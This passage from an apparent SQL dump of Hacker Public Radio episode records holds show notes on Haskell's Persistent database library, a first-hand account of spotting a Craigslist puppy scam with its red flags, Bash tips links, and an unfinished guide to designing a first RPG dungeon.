}</code></pre>\r\n<p>To access data in a record, just use field as a function (there’s a bug, I’m turning 40, this month (today even, to be specific, didn’t realize this until I was about to upload the episode), but forgot such a minor detail when recording the episode):</p>\r\n<pre><code>me = Person { personName = &quot;Tuukka&quot;, personAge = 37 }\r\nmyAge = personAge me\r\nmyName = personName me</code></pre>\r\n<p>New type is special type of record that can has only one field. It is often used to make sure one doesn’t mix similar data types (shoe size and age can both be Ints and thus mixed if programmer isn’t being careful). Compiler will optimize new types away during compilation, after checking that they’re being used correctly. This offers a tiny performance boost and makes sure one doesn’t accidentally mix different things that happen to look similar.</p>\r\n<pre><code>newtype Age = { getAge :: Int }</code></pre>\r\n<p>One can instruct compiler to derive some common functions for the data types. There are quite many of these, but the most common ones I’m using are <code>Show</code> (for turning data into text), <code>Read</code> (turning text into data) and <code>Eq</code> (comparing equality).</p>\r\n<pre><code>data Payment =\r\n    Cash Double\r\n    | IOU Text\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<h2 id=\"database\">Database</h2>\r\n<p>In case of Yesod and Persistent, database structure is defined in models file that usually located in config directory. It is read during compile time and used to generate data types that match the database. When the program starts up, it can check structure of the database and update it to match the models file, if migrations are turned on. While this is handy for development, I wouldn’t dare to use it for production data.</p>\r\n<p>Following definitions are lifted from the models file of the game I’m working.</p>\r\n<pre><code>StarSystem\r\n    name Text\r\n    coordX Int\r\n    coordY Int\r\n    deriving Show Read Eq</code></pre>\r\n<p>This defines a table <code>star_system</code> with columns <code>id</code>, <code>name</code>, <code>coord_x</code>, <code>coord_y</code>. All columns have <code>NOT NULL</code> constraint on them. It also defines record <code>StarSystem</code> with fields <code>starSystemName</code>, <code>starSystemCoordX</code> and <code>starSystemCoordY</code>.</p>\r\n<pre><code>Star\r\n    name Text\r\n    starSystemId StarSystemId\r\n    spectralType SpectralType\r\n    luminosityClass LuminosityClass\r\n    deriving Show Read Eq</code></pre>\r\n<p>This works in the same way and defines table <code>star</code> and record <code>Star</code>. New here is column <code>star_system_id</code> that has foreign key constraint linking it to <code>star_system</code> table. <code>Star</code> record has field <code>starStarSystemId</code> (silly name, I know, but that’s how the generated names go), which has type <code>Key StarSystem</code>.</p>\r\n<p><code>spectral_type</code> and <code>luminosity_class</code> columns in the database are textual (I think <code>VARCHAR</code>), but in the code they’re represented with <code>SpectralType</code> and <code>LuminosityClass</code> data types. In order this to work, we have to define them as normal data types and use <code>derivePersistField</code> that generates extra code needed to store them as text in database:</p>\r\n<pre><code>data SpectralType = O | B | A | F | G | K | M | L | T\r\n    deriving (Show, Read, Eq)\r\nderivePersistField &quot;SpectralType&quot;\r\n\r\ndata LuminosityClass = Iap | Ia | Iab | Ib | II | III | IV | V | VI | VII\r\n    deriving (Show, Read, Eq)\r\nderivePersistField &quot;LuminosityClass&quot;</code></pre>\r\n<p>Final piece in the example is <code>Planet</code>:</p>\r\n<pre><code>Planet\r\n    name Text\r\n    position Int\r\n    starSystemId StarSystemId\r\n    ownerId FactionId Maybe\r\n    gravity Double\r\n    SystemPosition starSystemId position\r\n    deriving Show Read Eq</code></pre>\r\n<p>This introduces two new things: <code>ownerId FactionId Maybe</code> removes <code>NOT NULL</code> constraint for this column in the database, allowing us to omit storing a value there. It also changes type of <code>planetOwnerId</code> into <code>Maybe (Key Faction)</code>. Thus, planet might or might not have an owner, but if it has, database ensures that the link between <code>planet</code> and <code>faction</code> (not shown here) is always valid.</p>\r\n<p>Second new thing is <code>SystemPosition starSystemId position</code> that creates unique index on columns <code>star_system_id</code> and <code>position</code>. Now only one planet can exists on any given position in a star system.</p>\r\n<p>Database isn’t any good, if we can’t insert any data into it. We can do that with a function shown below, that create a solar system with a single planet:</p>\r\n<pre><code>createSolarSystem = do\r\n    systemId &lt;- insert $ StarSystem &quot;Solar system&quot; 0 0\r\n    starId &lt;- insert $ Star &quot;Sol&quot; systemId G V\r\n    planetId &lt;- insert $ Planet &quot;Terra&quot; 3 systemId Nothing 1.0\r\n    return (systemId, starId, planetId)</code></pre>\r\n<p>To use the function, we have to use <code>runDB</code> function that handles the database transaction:</p>\r\n<pre><code>res &lt;- runDB createSolarSystem</code></pre>\r\n<p>There are various ways of loading data from database. For loading a list of them, <code>selectList</code> is used. Here we’re loading all planets that have gravity exactly 1.0 and ordering results by the primary key in ascending order:</p>\r\n<pre><code>planets &lt;- runDB $ selectList [ PlanetGravity ==. 1.0 ] [ Asc PlanetId ]</code></pre>\r\n<p>Loading by primary key is done with <code>get</code>. It returns <code>Maybe</code>, because data might or might be present that match the primary key. Programmer then has to account both cases when handling the result:</p>\r\n<pre><code>planet &lt;- runDB $ get planetId</code></pre>\r\n<p>Updating a specific row is done with <code>update</code> function (<code>updateWhere</code> is for multiple rows):</p>\r\n<pre><code>_ &lt;- runDB $ update planetId [ PlanetName =. &quot;Earth&quot; ]</code></pre>\r\n<p>Finally, sometimes it’s nice to be able to delete the data:</p>\r\n<pre><code>_ &lt;- runDB $ delete planetId\r\n_ &lt;- runDB $ deleteWhere [ PlanetGravity &gt;. 2 ]</code></pre>\r\n<p>While persistent is relatively easy to use after you get used to it, it lacks ability to do joins. In such cases one can use library called Esqueleto, that is more powerful and has somewhat more complex API.</p>\r\n<h2 id=\"extra\">Extra</h2>\r\n<p>Because functions are values in Haskell, nothing prevents storing them in data types:</p>\r\n<pre><code>data Handler =\r\n    Simple (Int -&gt; Boolean)\r\n    | Complex (Int -&gt; Int -&gt; Int)</code></pre>\r\n<p><code>Handler</code> type has two possible values: <code>Simple</code> has a function that turns <code>Int</code> into <code>Boolean</code> (for example <code>odd</code> used to check if given number is odd) and <code>Complex</code> that takes two values of type <code>Int</code> and returns <code>Int</code> (basic arithmetic for example, adding and subtracting).</p>\r\n<p>Hopefully this helps you to follow along as I work on the game.</p>\r\n<p>Easiest way to catch me nowadays is either via email or on fediverse where I’m tuturto@mastodon.social</p>\r\n',364,107,0,'CC-BY-SA','haskell, database',0,0,1),
(2754,'2019-02-21','Craigslist Scam Catch',460,'Helped a client avoid being scammed on Craigslist and wanted to share some tips to HPR.','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Hello and welcome to Hacker Public Radio, I’m Edward Miro and for this episode I decided to record on a personal experience I had recently helping a client catch a Craigslist Scam. This will be part two in my series I’m calling “Information Security for Everyone”. As with most of the content I publish in the world of INFOSEC, my goal is to present the information in a way that a majority of people can get value from and anyone can play this for a friend, colleague or family member and make it easy for the non-hackers in our lives to understand. This particular episode shows a powerful way social-engineering can be implemented to steal money from unsuspecting victims and I will break down a few main points and red flags to look out for at the end.</p>\r\n<p>A couple weeks ago I was sitting with a client when she asked me offhandedly if I’d ever sent a Moneygram before. I told her I had and ask curiously why she wanted to know. She explained that she was very excited to be adopting a puppy from online and she needed to send $350 USD to the service that ships pets across the country. This immediately caused my hacker-sense to start tingling so I probed a bit more about the transaction.</p>\r\n<p>I asked if she had spoken to the seller on the phone, and she said she hadn’t. I said that seemed weird, but she assured me that the seller said it had to do with her religion. I wasn’t aware of any religious prohibitions to speaking on the phone that also allowed using Craigslist, but okay. I told her that that seemed a bit fishy to me. She asserted that she thought it did too at first, but she knew it was legit because she wasn’t sending the money to the seller, it was being sent to a third party pet transportation company that the seller had had contact her. She even showed the website of the company on her cell phone, which to be blunt, to my eyes looked extremely janky. I asked her if we could sit down for a few minutes and take a look at a few details before she sends anyone any money. She reluctantly agreed and really wanted this puppy.</p>\r\n<p>The first thing I asked to look at was the emails back and forth from the seller. I checked Google and all other major social media sites for the sellers name. No matches. Couldn’t Google the sellers email address due to the Craigslist email relay system. This in and of itself might be okay, we all use pseudonyms online sometimes and Craigslist is a site you might not wanna use your real name. Fine.</p>\r\n<p>She then showed me the email thread with the shipping company.</p>\r\n<p>The first strange thing I noticed from the emails was the link to the pet shipping company. The name didn’t match the URL in the link. You’d think a business would be able to get their own name right. I also saw that if you Googled the name given by the shipper, it’s extremely similar to a legitimate pet shipping company and indeed that legit company comes up as the first site found due to Google “fixing” our query. When you go to the link in the email however, the site itself was terrible to my eyes, but not to my client who is not as seasoned as I am at catching scams. I also showed her that the “company” didn’t have any social media presence. At all. No Facebook, Twitter, anything. Also the email address that was contacting her was <code>reallylongcompanyname@outlook.com</code></p>\r\n<p>She also told me she had spoken to the shippers on the phone and I asked if she still had their number. She did, but she told me she couldn’t ever get through when she called them and they’d always have to call her back. I asked for the number and called it on my phone. It was a Google Voice number! Not only that it was set to screening mode. She also told me when he did call her, he was rude and tried to get her to hurry up and send the money. I told her I was 100% confident this was a scam and I advised her to not go through with the deal.</p>\r\n<p>At this point she was extremely unhappy, but felt it was still a legitimate transaction because she had pictures sent to her of not only the puppy, but of the puppy in the shipping crate at the shipping company waiting for payment to be shipped. She explained that it’s not like it was a person trying to sell dogs or from a puppy mill. It was a lady giving it away for free and the money was for was the shipping. She just didn’t see why a scammer would go to the trouble of doing that and felt the pictures were authentic. I asked her to save all the images to her device and then showed her a site she could use to do reverse image searches. Before she did it, I asked her if she agreed that if this wasn’t a scam those pictures wouldn’t exist anywhere on the internet. She agreed and each of the pictures was found at least 9 other places online. Her heart sank and she didn’t have any further rebuttals to my concerns. She knew it was a scam and I just saved her from losing at least $350 USD. Not to mention that the scammer would have also asked for more money later for “shots” and “insurance”. Who knows how far they might have gotten.</p>\r\n<p>So here are the main red flags:</p>\r\n<ul>\r\n<li>Seller wouldn’t talk on phone</li>\r\n<li>Seller name didn’t seem legitimate</li>\r\n<li>Name of shipping company didn’t match URL in email</li>\r\n<li>Googling company name shows close match with legitimate company</li>\r\n<li>Company website very poorly designed and implemented</li>\r\n<li>Company has no social media presence</li>\r\n<li>Email address of contact at company using generic email address and not a legit domain</li>\r\n<li>Contact at company could only call her and she was never able to make inbound calls</li>\r\n<li>Phone number of company was Google Voice number</li>\r\n<li>Reverse image searches showed “proof” photos unoriginal</li>\r\n</ul>\r\n<p>A few of the tricks used by the scammers in this scam to make it more successful:</p>\r\n<ul>\r\n<li>Listed as adoption versus a sale to alleviate concern</li>\r\n<li>Handed off to “second party” to build legitimacy</li>\r\n<li>Use cute puppy pictures to appeal to emotion and overrule suspicion</li>\r\n<li>Counted on target not paying attention to detail</li>\r\n<li>Shipper established a sense of urgency</li>\r\n</ul>\r\n<p>She was very thankful and I told her to be very careful when anyone from online ever asks her to send money. I told her in all likelihood this was probably one person the whole time, hence why the person adopting out the dog “couldn’t talk on the phone”. They were also probably not even in this country as we know many of these scams aren’t. She did say that the shippers English wasn’t good. I also told her to make she shares this experience with all her friends and family. I always feel the best way to handle someone getting caught in a scam is to be on their side and never shame them. We are all susceptible to scams and social engineering and the best way to proceed is to empower them to share what they’ve learned. I also sent her a link to an article on the BBB site about these very types of scams that I’ll also link below. She was shocked how similar her experience was to the ones explained on the article.</p>\r\n<p>Well, thank you for taking the time to listen to my experience helping a client avoid getting caught in the all too common Craigslist scam. I hope this will help any non-hackers in your life and like I say in all my podcasts, I don’t claim to know all there is to know and love feedback and any opportunities to learn more or collaborate with others in the field. As with most of the research and articles I’ve written in the past, these are geared toward standard users in a business setting and are meant to be a jumping off point for further research and to be a foundation for cyber security 101 level training classes. If you like what I do, and want to have me come speak to your team, or just wanna chat, feel free to email me.</p>\r\n<p>Thank you and have a great day!</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<p><a href=\"https://www.bbb.org/article/investigations/14214-puppy-scams-how-fake-online-pet-sellers-steal-from-unsuspecting-pet-buyers-a-bbb-study\" class=\"uri\">https://www.bbb.org/article/investigations/14214-puppy-scams-how-fake-online-pet-sellers-steal-from-unsuspecting-pet-buyers-a-bbb-study</a></p>\r\n<p><a href=\"https://www.rover.com/blog/internet-dog-puppy-scams/\" class=\"uri\">https://www.rover.com/blog/internet-dog-puppy-scams/</a></p>\r\n',372,74,1,'CC-BY-SA','craigslist,scam,con,social engineering,puppy,dog,money,moneygram,infosec,cyber-security 101',0,0,1),
(2756,'2019-02-25','Bash Tips - 20',1955,'Deleting arrays; positional and special parameters in Bash','<h2 id=\"tidying-loose-ends-some-collateral-bash-tips\">Tidying loose ends <small><small>(Some collateral Bash tips)</small></small></h2>\r\n<h3 id=\"deleting-arrays\">Deleting arrays</h3>\r\n<p>I forgot to cover one thing on my list when doing the last show: I forgot to explain how to delete arrays and array elements. I’ll cover that topic in this episode.</p>\r\n<h3 id=\"positional-and-special-parameters\">Positional and Special parameters</h3>\r\n<p>I have also avoided talking much about the positional and special parameters in Bash: <code>\'$1\'</code>, <code>\'$2\'</code>, <code>\'$#\'</code> and the rest. I will cover (some of) these in this episode.</p>\r\n<h3 id=\"silly-titles\">Silly titles</h3>\r\n<p>I stopped doing the weird episode titles by episode 14 because I thought the joke was getting tired. However, I think a few people missed them (and a certain HPR colleague was found <em>vandalising my new titles as they were being posted</em> ;-), so I have added them inside the notes on the older shows and am adding one here – as a homage to silliness.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2756/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li>Section <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Shell-Parameter-Expansion\">“3.4 Shell Parameters”</a></li>\r\n<li>Section <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Shell-Builtin-Commands\">“4 Shell Builtin Commands”</a>\r\n<ul>\r\n<li>Section <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins\">“4.1 Bourne Shell Builtins”</a></li>\r\n<li>Section <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bash-Builtins\">“4.2 Bash Builtin Commands”</a></li>\r\n</ul></li>\r\n<li>Section <a href=\"https://www.gnu.org/software/bash/manual/bash.html#The-Set-Builtin\">“4.3.1 The Set Builtin”</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li><p>POSIX Shell Command Language: <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#unset\"><em>unset</em></a></p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 “<em>Additional ancillary Bash tips - 12</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2679\">HPR episode 2679 “<em>Extra ancillary Bash tips - 13</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2689\">HPR episode 2689 “<em>Bash Tips - 14 (Some auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2699\">HPR episode 2699 “<em>Bash Tips - 15 (More auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2709\">HPR episode 2709 “<em>Bash Tips - 16 (Further auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2719\">HPR episode 2719 “<em>Bash Tips - 17 (Additional auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2729\">HPR episode 2729 “<em>Bash Tips - 18 (Extra auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2739\">HPR episode 2739 “<em>Bash Tips - 19 (Supplemental auxiliary Bash tips)</em>”</a></li>\r\n</ol></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2756/bash20_ex1.sh\">bash20_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2756/bash20_ex2.sh\">bash20_ex2.sh</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,array,delete,positional parameters',0,0,1),
(2757,'2019-02-26','How to DM',2694,'Klaatu explains how to DM an RPG, and Lostnbronx demonstrates, step by step, how to build a dungeon','<h2>Klaatu</h2>\r\n<p>\r\nI\'ve gotten a lot of great feedback on the Interface Zero play-through and the episode about getting started with RPGs I did with Lostnbronx.\r\nPeople have told me that one of the biggest blockers to getting started is knowing what to do as GM.</p><p>\r\nNow, I\'ve read lots of rulebooks and GM guides, and it seems to me that most of them assume you\'ve either played an RPG before, and so you\'ve seen an example of a Game Master at play, or you\'ve seen one on Youtube or Twitch. It\'s a safe assumption, but it\'s easy to forget all of those great examples under pressure.\r\nSo in this episode, Lostnbronx and I are going to provide you with some clear and direct instructions on what exactly a GM does.\r\n</p><p>\r\nThe short version is this:</p>\r\n<ol><li><p>\r\nTell the players where they are and what they see around them.\r\n</p></li><li><p>\r\nListen to the players when they tell you what they want to do.\r\n</p></li><li><p>\r\nTell the players the outcome, based on your privileged knowledge of the game world or on a roll of the dice, of their actions.\r\n</p></li></ol>\r\n<p>\r\nYou loop over that sequence, and you\'re game mastering!\r\n</p><p>\r\nBut that makes for a short episode, and anyway, there are details about the process that we can talk about to make you feel more comfortable with the prospect of deciphering a game world with your friends.\r\n</p><p>\r\nTo that end, Lostnbronx and I have started a <a href=\"https://mixedsignals.ml\" target=\"_blank\">website dedicated to gaming</a>&#33; You should check it out, subscribe to our feed. We discuss everything game-related there, plus a little tech and all manner of topics of interest to geeks.\r\n</p>\r\n\r\n<h2>Lostnbronx</h2>\r\n<p>\r\nRight off the bat, it\'s important to understand that every GM is different. No two styles of running a game match completely, nor should they. And while there\'s no one correct way to run a game, there are plenty of ways to do it poorly. The GM wears many hats, but in my opinion, the most important job is to make sure that everyone has a good time. Your players are giving you an evening out of their lives. Next week they\'ll probably give you another. It\'s your job to make sure that time isn\'t wasted.\r\n</p><p>\r\nBy definition, games, even role-playing games, are a form of entertainment -- like reading a book, watching a movie, or enjoying the circus. When you go to that, the GM is the ringmaster, presenting the show; while the players are both the audience, and the main attraction. The GM controls the world, the people, the monsters, the history, even the weather. The GM controls everything, in fact...except for the player characters. A game master presents the situation, but it\'s the players who decide what to do with that information.\r\n</p><p>\r\nNow, this is all pretty vague, and describing RPG\'s is far less informative than playing them. Considering this is a podcast, I encourage you to go back and listen to Klaatu\'s aforementioned \"Interface Zero\" episodes. These are excellent examples of actual game play. If you\'re having a hard time imagining how RPG\'s are presented and experienced, you\'ll appreciate those shows.\r\n</p><p>\r\nNow then, almost all games are divided into genre types: sword and sorcery; space opera; spies; super-heroes; and pretty much everything else. And I mean everything! If there\'s a genre of fiction and storytelling that you enjoy, chances are there\'s a game or game setting for it somewhere. The most popular style of RPG\'s out there are fantasy. Think \"Lord of the Rings\". Think \"Harry Potter\". Think of anything, in fact, because all of it is possible.\r\n</p><p>\r\nA staple of the high fantasy genre of gaming is the dungeon. Now, that term has two meanings in this sort of game: first, the usual meaning, of what amounts to the basement of a castle, with jails, interrogation rooms, storage rooms, and more. The other meaning refers specifically to a type of adventuring environment. Both of these are usually found underground, but an adventuring dungeon may have nothing to do with any castle. It might be a lost crypt, a cave system, an abandoned gold mine, or the lair of some dreaded beast that\'s been terrorizing the countryside. In the dungeon might be enemies, monsters, and treasure protected by deadly traps. Magic abounds. There might be puzzles, dark secrets, or a kidnapped prince to rescue.\r\n</p><p>\r\nAs a new GM, you can start off any way you want, but in my experience, the best way to get used to how the game works, and how the whole process of providing an evening\'s entertainment to your friends or family works in this context, is to create a dungeon and run your players through it.\r\n</p><p>\r\nDungeons generally require set-up time; that is to say, you have to design it in advance. Now, Klaatu and I are currently working on ways to ease that burden, with the ultimate goal of eliminating the pre-work entirely. But for now, let\'s talk about the traditional way to approach all this. What follows is a step-by-step process, but understand, it\'s only one of an infinite possible number of them.\r\n</p><p>\r\nSTEP 01 -- CREATE THE COUNTRYSIDE\r\nSome GM\'s say creating the world is the first step. Some say creating the godly pantheons of the world is the first. Some say it\'s the history, or the fantasy races. They\'re not wrong, but trust me, when you\'re just starting out, none of that stuff matters. In this example, you\'ll be running the players through a dungeon. That dungeon is out in the country, within the middle of a large forest.\r\n</p><p>\r\nNow, it will make the beginning and end of the adventure easier if you have a small village nearby where the player characters all live. We\'ll call it Forestdale for the lack of anything better. In Forestdale, there\'s an inn or tavern. This is where people get together, tell tall tales, and become inspired to go adventuring, so let\'s give it a name as well: \"The Prancing Unicorn\". That\'s home base. Every player character knows this place, and everyone in it knows them.\r\n</p><p>\r\nOne of the stories being swapped at \"The Unicorn\" lately is about a tribe of dangerous creatures living in an underground lair somewhere within the forest. They are led by an evil wizard, or so the tales go. They have been attacking farmers and merchants who travel through the roads and foot paths of the woods in order to sell their goods in Forestdale. One of the merchants says he saw them travel down the Western path near the Old Bridge. Something must be done, but who would be brave or foolhardy enough to even try?\r\n</p><p>\r\nAnd that\'s all you need to create for the world right now. Remember, this stuff is new; no one needs large amounts of detail just yet, least of all you. You\'ll have enough to juggle.\r\n</p><p>\r\n\r\n\r\nSTEP 02 -- CREATE THE DUNGEON FLOOR PLAN\r\nOne of the rumors to be heard at \"The Prancing Unicorn\" is that there\'s an underground cave system or labyrinth somewhere in the forest. Some say it\'s a myth, others say their cousin\'s uncle\'s sister\'s best friend came across it once. Either way, its existence is shrouded in mystery, and people are said to go in, but not always come out.\r\n</p><p>\r\nThis is your first dungeon. You don\'t want to do more work than you need to. Let\'s make this dungeon a single level. Later, you can add a secret panel somewhere that can reveal a set of stairs down to a second level (and from there, a third, fourth, tenth, or more). Right now, it\'s one level, hidden below the forest. It\'s dark, it\'s dangerous. It\'s plenty.\r\n</p><p>\r\nPutting a dungeon together can be difficult, but it doesn\'t have to be. The traditional way to create one of these is to use graph or hex paper and draw out the floor map. Each square of the graph paper is equal to ten feet, or, say, three meters. You make note of all rooms, caves, doors, hallways, stairs up or down, floor traps, hidden doors, and anything else you want in there. Be sure to put a set of stone stairs that lead from the forest above, down to this dank and gloomy dungeon.\r\n</p><p>\r\nThere are no standard symbols for the different things on the map, despite what anyone might tell you, but for now, let\'s turn the paper landscape style, and at the top of the page, now held that way, outline one square of the graph paper with a pencil. Inside the square, draw three or four small lines at an angle. This will represent a set of stairs. Next to the stairs, write the letter \"U\". This is the way to get to the forest above. Granted, it\'s how the player characters will come down here to begin with, but once they are here, they have to go up to leave, hence the \"U\". If that\'s confusing, you can write, \"To The Forest Above\", next to this square, maybe with a little arrow. You can write anything you want, but this is how the player characters will get in and out of your dungeon.\r\n</p>\r\n<img src=\"https://mixedsignals.ml/games/blog/user/pages/_img/01-stairs-down-600x337.jpg\" />\r\n<p>\r\nWe\'re going to draw the floor plan from the top of the page down. The entire dungeon map will be on this one side of the paper. In the corner, draw an arrow pointing up, and put a letter \"N\" there. That\'s North. We\'ll be using compass directions from now on. Granted that when underground, it\'s hard to get your bearings without a compass, but for this first dungeon, we won\'t worry about that. North, South, East, West. It makes life easy.\r\n</p><p>\r\nOn the bottom of the page, to the South, draw a box in the middle of the page that\'s ten by ten squares in size. This is where the dungeon tunnels all will be leading, and where we\'ll have the biggest fight of the adventure. We\'re setting that up now, so we always know where we\'re heading. Now go back to the stairs at the top of the page.\r\n</p><p>\r\nDraw a long line from the lower edge of the stairs going West. Stop the line a square or two from the edge of the paper. Now do the same thing going East. Next, move down one square, and draw another line parallel to both of these, going entirely from one side of the page to the other, East to West. You\'ve just created a place for the players to explore, so imagine it for a moment: they come down some broken, forgotten stairs. Let\'s say they travel at least a hundred feet down, tripping over tree roots and walking through cobwebs, until the stairs deposit them in the middle of a dark tunnel, ten feet wide. It stretches to either side, running East and West out of sight (you know that it goes hundreds of feet in both directions, but you\'ll let them discover that for themselves). They listen, and can hear nothing but the scurrying of unseen vermin. At least, they hope that\'s what it is. Not a bad start.\r\n</p>\r\n<img src=\"https://mixedsignals.ml/games/blog/user/pages/_img/02-first-tunnel-600x337.jpg\" />\r\n<p>\r\nAlong this hallway, you\'ll draw little rectangles, like black bars, on random squares along the Southern side of the tunnel. Not too many, just a few here and there, with generous space in between. These are heavy wooden doors. Some may be locked. That\'s your choice. If they are, put a little symbol near them. It could be as simple as the letter \"L\", so let\'s go with that. Now you know where the all doors are in this particular tunnel, and you know which of them will be a challenge for the player characters to open.\r\n</p><p>\r\nThis is just the first tunnel of a larger complex. This complex can be as big or as small as you\'d like. Let\'s say it\'s moderately sized. Before we draw more tunnels, let\'s draw the rooms behind those doors. This will tell us how much map space we\'ll have for further tunnels. Some GM\'s like to draw all the tunnels first, and then fit in the rooms. You can do it however way you want later on; right now, let\'s just use this method. Pick a door. Draw a box behind it, three or four squares in size. That\'s the room. Do the same behind the other doors. Make the rooms different shapes and sizes, but not too big. Let the big room at the bottom be the star. When you\'re done, you have a huge tunnel, with several mysterious doors, behind which are some good-sized rooms.\r\n</p><p>\r\nOn the part of the tunnel that ends on the West side, draw a connecting tunnel South for five squares, and then turn the direction back to the East. Draw this tunnel going that way for ten squares. Put a door or two along here, and draw some rooms for them. Turn the tunnel South again, and go five or six squares, and turn it East again for four squares. Draw a door and room. Maybe it\'s locked, maybe not. Continue with this meandering, jagged floor plan, wandering East and then West, but always moving South. Add occasional doors and rooms as you go, until your tunnel finally ends on the Western side of the large ten by ten square room at the bottom of the page. Draw a door to get in there.\r\n</p>\r\n<img src=\"https://mixedsignals.ml/games/blog/user/pages/_img/03-west-side-600x337.jpg\" />\r\n<p>\r\nNow go back up to the long tunnel at the top, and repeat this whole process on the Eastern side, eventually bringing that part of the tunnel to the Eastern edge of the big room at the bottom. Put a door there.\r\n</p>\r\n<img src=\"https://mixedsignals.ml/games/blog/user/pages/_img/04-east-side-600x337.jpg\" />\r\n<p>\r\nNow, number your rooms on the map, starting at at the top, and working your way down, until you\'ve marked each one. Room numbers are essential, because you\'ll be keeping track of each one.\r\n</p>\r\n<img src=\"https://mixedsignals.ml/games/blog/user/pages/_img/05-numbered-rooms-600x337.jpg\" />\r\n<p>\r\nThe floor plan to your first dungeon is complete. Now you need to put interesting things in it.\r\n</p><p>\r\n\r\nSTEP 03 -- POPULATE YOUR DUNGEON\r\nOkay, on a separate piece of paper, list the rooms of your dungeon. Start at #1, and go down. Beside the room number, you put in a brief description, along with any monsters, treasure, or other points of interest. You\'ll be consulting this list throughout the game, so write down everything you need to know, in order to minimize the amount of time you\'ll inevitably have your nose in the rulebook while playing. Monster statistics, including their weapons, and and the damage they do, should all be on this list, though there are ways to simplify the process, once of which I\'ll go into in a moment.\r\n</p>\r\n<img src=\"https://mixedsignals.ml/games/blog/user/pages/_img/06-room-list-pg1-pg2-600x533.jpg\" />\r\n<p>\r\nWhen putting creatures and things into your dungeon, the first thing to remember is to not overload it. Each room does not need a monster. Not every room needs treasure. It might be helpful to think in terms of what you\'d like to see in the dungeon as a whole. Remember the stories of evil creatures, and possibly a wizard, which you heard at \"The Dancing Unicorn\"? We\'ll use that as our springboard. This is a starting dungeon, not just for you, but also for the player characters. Starting dungeons mean low-level monsters, so let\'s go with goblins.\r\n</p><p>\r\nGoblins are generally quite impressed with magic, so we\'re going to assume a wizard of dubious character has bullied a small tribe of them into being his thugs. They\'ve been waylaying passing merchants and farmers, stealing their wares, and carrying off food (along with the occasional peasant worker, as goblins love the taste of human flesh). Stupid, but dreadful creatures, they have displayed a level of tactical organization that\'s not normal for them. This, of course, is because the wizard\'s in charge. Look up the statistics for goblins, and understand what they\'re like. For this adventure, we\'re not going to worry about goblin captains, or goblin chiefs, both of which are tougher than your average goblin. No, all the creatures for this adventure have the same statistics. Don\'t drive yourself crazy writing them down, over and over. Write them once at the bottom of the room description page, and every time the player characters run into a goblin, consult them.\r\n</p><p>\r\nLet\'s say there are a total of fifteen goblins in this dungeon. They won\'t all be together; the player characters will encounter a few of them here and there, in various rooms, or maybe ust wandering the tunnels. The rooms themselves will have the spoils of all their raids, including barrels of wine, hams and sides of beef; furs, and a few copper, silver, and gold coins. If there\'s wine in one of the rooms, maybe the goblins there are drunk, fighting at a penalty to hit and damage. And remember, not all rooms need things in them. Maybe this was once a temple, and there\'s just broken furniture, and rotting religious robes in some of the rooms. In one, there might also be a tapestry against the wall, depicting a miracle of whatever god this place was once dedicated to. What you might not tell the player characters up front is that the tapestry could fetch a 